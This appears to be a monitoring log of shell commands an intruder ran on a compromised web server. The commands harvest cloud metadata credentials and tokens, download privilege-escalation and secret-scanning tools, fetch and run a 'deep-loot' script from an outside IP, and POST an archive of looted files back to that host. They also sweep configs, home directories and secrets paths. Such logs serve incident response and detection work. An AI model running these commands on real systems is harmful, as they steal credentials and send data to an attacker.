| 2026-10-29 20:05:37 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| 2026-10-29 20:05:37 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/token |
| 2026-10-29 20:05:37 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/info |
| 2026-10-29 20:05:42 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_data |
| 2026-10-29 20:05:42 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /tmp/service-documents |
| 2026-10-29 20:05:42 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /tmp/deep-loot.sh |
| 2026-10-29 20:05:42 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/openstack/latest/meta_data.json |
| 2026-10-29 20:05:42 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | awk -F \t $1 != "jwt" {print} /tmp/<REDACTED>-deep/gitleaks-summary.tsv ; timeout 120 sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; curl -sSL --max-time 100 -o /tmp/.loot-tools/linpeas.sh https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; find /tmp/<REDACTED>-deep -maxdepth 1 -type f -printf %P %s
; sort ; head -100 ; tar czf /tmp/<REDACTED>-deep.tgz -C /tmp <REDACTED>-deep ; timeout 900 sh /tmp/deep-loot.sh -i 1104 -n <REDACTED>-deep -l ; sh /tmp/deep-loot.sh -i 1104 -n <REDACTED>-deep -l ; sh /tmp/deep-loot.sh -i 1104 -n <REDACTED>-deep -l ; sh /tmp/deep-loot.sh -i 1104 -n <REDACTED>-deep -l ; hostname ; date -u +%Y%m%dT%H%M%SZ ; mkdir -p /tmp/<REDACTED>-deep /tmp/.loot-tools /tmp/.loot-home ; cat ; timeout 180 sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; curl -sSL --max-time 150 -o /tmp/.loot-tools/gl.tgz https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz ; find /tmp/<REDACTED>-deep -maxdepth 1 -name gitleaks-*.json -size +2c ; sort ; sort -u ; cut -f1 /tmp/<REDACTED>-deep/gitleaks-summary.tsv ; uniq -c ; sort ; head -50 ; sort -nr ; sh /tmp/deep-loot.sh -i 1104 -n <REDACTED>-deep -l ; /bin/sh -c gzip ; gzip ; wc -c ; curl -s -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-deep.tgz http://206.245.153.56:8088/1104/<REDACTED>-deep.tgz ; sed s/^/ / ; ls -l /tmp/<REDACTED>-deep |
| 2026-10-29 20:05:42 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | curl -sS -o /tmp/deep-loot.sh http://206.245.153.56:8088/tools/deep-loot.sh |
| 2026-10-29 20:05:48 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /tmp/service-documents |
| 2026-10-29 20:05:48 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-id |
| 2026-10-29 20:05:48 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /usr/local/etc/php /usr/local/etc/php/conf.d |
| 2026-10-29 20:05:48 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
| 2026-10-29 20:05:48 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/metadata/v1/ |
| 2026-10-29 20:05:48 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /var/log/apache2 |
| 2026-10-29 20:05:48 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /usr/local/etc/php/conf.d |
| 2026-10-29 20:05:48 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token |
| 2026-10-29 20:05:48 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/ |
| 2026-10-29 20:05:48 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /var/log/apache2 |
| 2026-10-29 20:05:53 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | find /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n |
| 2026-10-29 20:05:53 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.d |
| 2026-10-29 20:05:53 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | find /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n |
| 2026-10-29 20:05:53 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | find /var/www /usr/share/nginx /srv/www -name .htaccess -type f |
| 2026-10-29 20:05:53 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www |
| 2026-10-29 20:05:53 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | timeout -> timeout | sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | |
| 2026-10-29 20:05:53 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | timeout 40 sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep |
| 2026-10-29 20:05:59 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h |
| 2026-10-29 20:05:59 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | find /home -type f -size -256k |
| 2026-10-29 20:05:59 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h |
| 2026-10-29 20:05:59 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | find /usr/local/etc/php -type f -size -256k |
| 2026-10-29 20:05:59 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | find /etc/apache2 -type f -size -256k |
| 2026-10-29 20:05:59 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | find /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* ) |
| 2026-10-29 20:05:59 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h |
| 2026-10-29 20:06:04 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /tmp/<REDACTED>-deep |
| 2026-10-29 20:06:04 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -lat /tmp/<REDACTED>-443 |
| 2026-10-29 20:06:04 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -af collect |
| 2026-10-29 20:06:15 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | whoami ; hostname ; hostname -f ; uname -a ; uname -m ; uname -r ; cat /etc/os-release ; cat /etc/debian_version /etc/alpine-release /etc/redhat-release ; getconf LONG_BIT ; uptime ; cat /sys/class/dmi/id/sys_vendor ; cat /proc/uptime ; cat /sys/class/dmi/id/product_name ; cat /sys/class/dmi/id/product_version ; cat /sys/class/dmi/id/board_name ; cat /sys/class/dmi/id/bios_vendor ; cat /sys/class/dmi/id/bios_version ; cat /sys/class/dmi/id/chassis_type ; cat /sys/class/dmi/id/chassis_serial ; id -un ; getent passwd www-data |
| 2026-10-29 20:06:15 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | hostname ; date -u +%Y%m%dT%H%M%SZ ; mkdir -p /tmp/<REDACTED>-443 ; id ; cat ; timeout 40 sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2 ; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; date -u ; id |
| 2026-10-29 20:06:15 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /tmp/collect.sh /tmp/c_* /tmp/*.tsv |
| 2026-10-29 20:06:15 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -af beacon |
| 2026-10-29 20:06:18 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | id ; date -u ; uname -r ; cat /etc/os-release ; cat /etc/debian_version /etc/alpine-release /etc/redhat-release ; hostname -f ; uname -a ; getconf LONG_BIT ; whoami ; uname -m ; hostname ; uptime ; cat /proc/uptime ; cat /sys/class/dmi/id/sys_vendor ; cat /sys/class/dmi/id/product_name ; cat /sys/class/dmi/id/product_version ; cat /sys/class/dmi/id/bios_vendor ; cat /sys/class/dmi/id/board_name ; cat /sys/class/dmi/id/bios_version ; cat /sys/class/dmi/id/chassis_serial ; cat /sys/class/dmi/id/chassis_type ; id -un ; getent passwd www-data ; lscpu ; nproc ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; egrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; cat /sys/devices/system/cpu/online /sys/devices/system/cpu/possible ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; egrep -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; head -80 ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; cat /sys/devices/system/memory/memory3/state ; cat /sys/devices/system/memory/memory12/state ; cat /sys/devices/system/memory/memory13/state ; cat /sys/devices/system/memory/memory14/state ; cat /sys/devices/system/memory/memory15/state ; cat /sys/devices/system/memory/memory2/state ; head -20 ; cat /sys/devices/system/memory/memory4/state ; cat /sys/devices/system/memory/memory5/state ; cat /sys/devices/system/memory/memory6/state ; cat /sys/devices/system/memory/memory7/state ; cat /sys/devices/system/memory/memory8/state ; cat /sys/devices/system/memory/memory9/state ; cat /sys/devices/system/memory/memory0/state ; cat /sys/devices/system/memory/memory10/state ; cat /sys/devices/system/memory/memory11/state ; cat /sys/devices/system/memory/memory1/state ; head -40 ; cat /sys/devices/system/node/node0/meminfo ; cat /sys/fs/cgroup/memory.peak ; cat /sys/fs/cgroup/memory.swap.max ; cat /sys/fs/cgroup/memory/memory.limit_in_bytes ; cat /sys/fs/cgroup/memory/memory.usage_in_bytes ; cat /proc/swaps ; swapon --show ; df -hP ; cat /proc/self/mountinfo ; head -100 ; du -sh /var/www ; cat /proc/partitions ; lsblk ; df -iP ; du -sh /var/www/html ; du -sh /home ; du -sh /srv ; du -sh /opt ; du -sh /tmp ; du -sh /usr/local ; du -sh /var/lib ; du -sh /var/log ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; free -m ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; cat /sys/fs/cgroup/memory.max ; cat /sys/fs/cgroup/memory.current ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; free -h ; egrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; head -30 ; sort -nr ; find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\n ; hostname -I ; cat /proc/net/route ; cat /proc/net/arp ; cat /sys/class/net/enp0s2/address ; cat /sys/class/net/lo/address ; cat /proc/net/tcp /proc/net/tcp6 ; cat /proc/net/udp /proc/net/udp6 ; head -120 ; cat /proc/net/fib_trie ; cat /etc/hosts ; cat /etc/resolv.conf ; cat /etc/nsswitch.conf ; getent hosts database ; getent hosts db ; getent hosts mysql ; getent hosts redis ; getent hosts rabbitmq ; 